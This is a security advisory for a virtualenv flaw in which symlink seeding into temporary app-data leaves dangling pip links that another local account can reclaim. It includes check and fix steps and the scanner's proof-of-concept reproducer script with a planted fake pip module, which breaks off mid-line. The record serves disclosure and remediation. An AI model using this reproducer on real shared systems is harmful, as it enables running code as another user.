---
id: "CVE-2026-113713"
kind: "vulnerability"
aliases: ["CVE-2026-113713", "GHSA-4f8h-vr72-p32c"]
title: "virtualenv: Temporary app-data can leave dangling seed package links"
severity: "medium"
cvss: 4.4
epss: 0.00107
exploited: false
status: "open"
category: "package"
products: [{"name": "virtualenv", "fixed": ["21.14.10"], "affected": ">= 21.14.8, < 21.14.10", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["ci-runners", "cwe-377", "package", "python", "shared-hosts", "virtualenv"]
not_affected_if: ["copy-seeding", "default-config", "persistent-app-data", "private-tmp"]
published_at: "2026-10-20T19:17:33+00:00"
first_seen_at: "2026-10-23T21:57:21+00:00"
updated_at: "2026-10-25T04:37:10+00:00"
sources: [{"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113713", "first_seen_at": "2026-10-23T21:57:21+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-4f8h-vr72-p32c", "first_seen_at": "2026-10-23T22:27:42+00:00"}]
---

# virtualenv: Temporary app-data can leave dangling seed package links

When virtualenv falls back to a temporary app-data directory, an environment variable or config file can still enable symlink seeding, leaving site-packages/pip linked to a temp folder that is deleted at session exit. On a shared temporary filesystem another local account can recreate that path and plant a pip module that runs as the environment owner.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:virtualenv affected >= 21.14.8, < 21.14.10 fixed 21.14.10

## How to check

- Run `virtualenv --version` and confirm it is between `21.14.8` and `21.14.9` inclusive.
- Check `VIRTUALENV_SYMLINK_APP_DATA` in the environment and any `symlink_app_data` key in `virtualenv.ini` or pyproject configuration.
- Look for symlinks named `pip` under `site-packages` in existing environments, for example `find . -path '*site-packages/pip' -type l`, and check whether their targets are under `/tmp`.

## Fix

- Upgrade virtualenv to `21.14.10` once it is released; the sources say no fixed release was available at time of writing and the public fix is PR #3437, so verify the release status.
- Until then, unset `VIRTUALENV_SYMLINK_APP_DATA` and remove `symlink_app_data` from configuration files.
- Recreate affected environments after correcting those settings.
- Alternatively, provide a writable persistent app-data cache private to the environment owner.

## Timeline

- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113713
- 2026-10-23T22:27:42+00:00 ghsa https://github.com/advisories/GHSA-4f8h-vr72-p32c

## From the sources

## Summary

The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation
finishes. The environment-variable and configuration-file forms of `symlink_app_data` can enable this state even though
the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its
owner no longer controls.

Anthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026.
This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim
has not been independently reproduced.

## Affected area

Integrity of app-data references after temporary cache cleanup.

## Attacker-controlled input

Symlink seeding must be enabled through `VIRTUALENV_SYMLINK_APP_DATA` or `symlink_app_data` in the configuration file,
and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that
fallback. Ordinary copy seeding does not leave these references.

The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache
pathname, followed by use of the affected environment. That account need not already be able to modify the environment
or the private cache while it exists. This differs from the security policy's excluded case of an account that already
controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that
cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows
defaults.

## Affected code

The relevant 21.14.8 source is in
[symlink seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/via_app_data.py),
[temporary cache cleanup](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/app_data/via_tempdir.py).

## Mechanism

When app-data setup falls back to a temporary directory, the command-line `--symlink-app-data` action is disabled. A
value supplied by `VIRTUALENV_SYMLINK_APP_DATA` or `virtualenv.ini` can still become the parser default, and the seeder
constructor accepts that value without rechecking the cache lifetime. It links `site-packages/pip` into the temporary
cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another
account on a shared temporary filesystem.

## Reproduction and evidence

The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment
owner had an unwritable home, so app-data fell back to `/tmp`. The control used the command-line flag and received a
real pip directory. With `VIRTUALENV_SYMLINK_APP_DATA=1`, the new environment instead contained a `pip` link into a
deleted `/tmp/tmpXXXXXXXX` directory. A second uid recreated the target path and placed a fake `pip/__init__.py` there.
When the owner ran `venv/bin/pip --version`, that module created a marker inside the owner's environment and printed
`this is not pip`.

The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later
use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache
guard to #1661, first released in 20.0.6.
[Public fix PR #3437](https://github.com/pypa/virtualenv/pull/3437) copies packages whenever app-data is
temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the
cross-account reproduction.

## Attack sequence

```mermaid
sequenceDiagram
    participant U as Environment owner
    participant V as virtualenv seeder
    participant T as Temporary app-data in /tmp
    participant E as site-packages/pip link
    participant A as Other local account
    U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home
    V->>T: create transient cache
    V->>E: link pip to cache path
    V->>T: delete cache at session exit
    A->>T: reclaim old name and plant fake pip
    U->>E: run bin/pip --version
    E->>T: import fake pip through stale link
    T-->>U: attacker's code runs as owner
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-ZOE2GEPC`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import os
import pwd
import shutil
import subprocess
from pathlib import Path

owner = pwd.getpwnam("nobody")  # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one
other_user_uid = 4242
project = Path("/srv/project")
other_user_files = Path("/var/tmp/other-user")

# set up: a project folder only the owner can write, and the other user's two files in a folder of their own
shutil.rmtree(project, ignore_errors=True)
shutil.rmtree(other_user_files, ignore_errors=True)
project.mkdir(mode=0o755)
os.chown(project, owner.pw_uid, owner.pw_gid)
shutil.copytree("/tmp/repro.d", other_user_files)
subprocess.run(["chown", "-R", f"{other_user_uid}:{other_user_uid}", other_user_files], check=True)

as_owner = {"user": owner.pw_uid, "group": owner.pw_gid, "extra_groups": [], "cwd": project}
as_other_user = {"user": other_user_uid, "group": other_user_uid, "extra_groups": [], "cwd": "/"}
owner_env = {"HOME": owner.pw_dir, "PATH": os.environ["PATH"]}
virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"]

# control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied
subprocess.run([*virtualenv, "--symlink-app-data", "control"], env=owner_env, check=True, **as_owner)
control_pip = next(project.glob("control/lib/python*/site-packages/pip"))
print(f"CONTROL  --symlink-app-data:            {control_pip} is a symlink: {control_pip.is_symlink()}")

# trigger: the same setting through the environment variable
symlink_env = {**owner_env, "VIRTUALENV_SYMLINK_APP_DATA": "1"}
subprocess.run([*virtualenv, "venv"], env=symlink_env, check=True, **as_owner)
venv_pip = next(project.glob("venv/lib/python*/site-packages/pip"))
print(f"OBSERVED VIRTUALENV_SYMLINK_APP_DATA=1: {venv_pip} is a symlink: {venv_pip.is_symlink()}")

# attack: the other user re-creates the deleted folder the link points into
if venv_pip.is_symlink():
    print(f"OBSERVED it points to {os.readlink(venv_pip)}, which exists: {venv_pip.exists()}")
    subprocess.run(["python3", other_user_files / "plant_fake_pip.py", venv_pip], check=True, **as_other_user)

# the owner uses their environment
pip_version = subprocess.run([project / "venv/bin/pip", "--version"], env=owner_env, capture_output=True, text=True, **as_owner)
print(f"OBSERVED venv/bin/pip --version, run by uid {owner.pw_uid}, printed: {(pip_version.stdout + pip_version.stderr).strip()}")

# check: fake_pip.py writes this file into the environment folder, which uid 4242 cannot write
venv_stat = os.stat(project / "venv")
print(f"OBSERVED {project / 'venv'} has mode {oct(venv_stat.st_mode & 0o777)} and owner uid {venv_stat.st_uid}")
proof = project / "venv/attacker-code-ran"
print(f"OBSERVED {proof} exists: {proof.exists()}")
if proof.exists():
    print(f"OBSERVED it is owned by uid {proof.stat().st_uid} and says: {proof.read_text()}")
print("BUG" if proof.exists() and proof.stat().st_uid == owner.pw_uid else "OK")
```

**`repro.d/fake_pip.py`**

```text
# planted as pip/__init__.py: runs in whichever process imports pip
import os
import sys

with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof:
    proof.wri

---

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